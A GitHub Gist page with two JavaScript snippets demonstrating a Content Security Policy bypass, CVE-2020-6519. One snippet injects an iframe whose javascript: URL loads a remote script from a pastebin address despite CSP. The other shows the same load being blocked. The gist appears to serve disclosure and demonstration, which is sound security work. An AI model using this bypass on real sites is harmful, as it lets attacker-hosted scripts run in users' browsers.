Skip to content

Instantly share code, notes, and snippets.

@galpx
galpx / csp-bypass-success.js
Created August 11, 2020 09:50
with CVE-2020-6519 csp bypassing will succeed
/* this is a script that pops an alert message */
top._CVE_URL = 'https://pastebin.com/raw/dw5cWGK6';
/* this call will succeed although CSP */
document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>";
@galpx
galpx / csp-bypass-fail.js
Created August 11, 2020 09:49
normally, bypassing csp will fail
/* this is a script that pops an alert message */
top._CVE_URL = 'https://pastebin.com/raw/dw5cWGK6';
/* this call will fail due to CSP */
var s = document.createElement("script"); s.src = top._CVE_URL; document.body.appendChild(s);
function _isEvent(prop) {
if (0 !== prop.indexOf('on')) {
return false;
}
return true;
}
function _getEvents(obj) {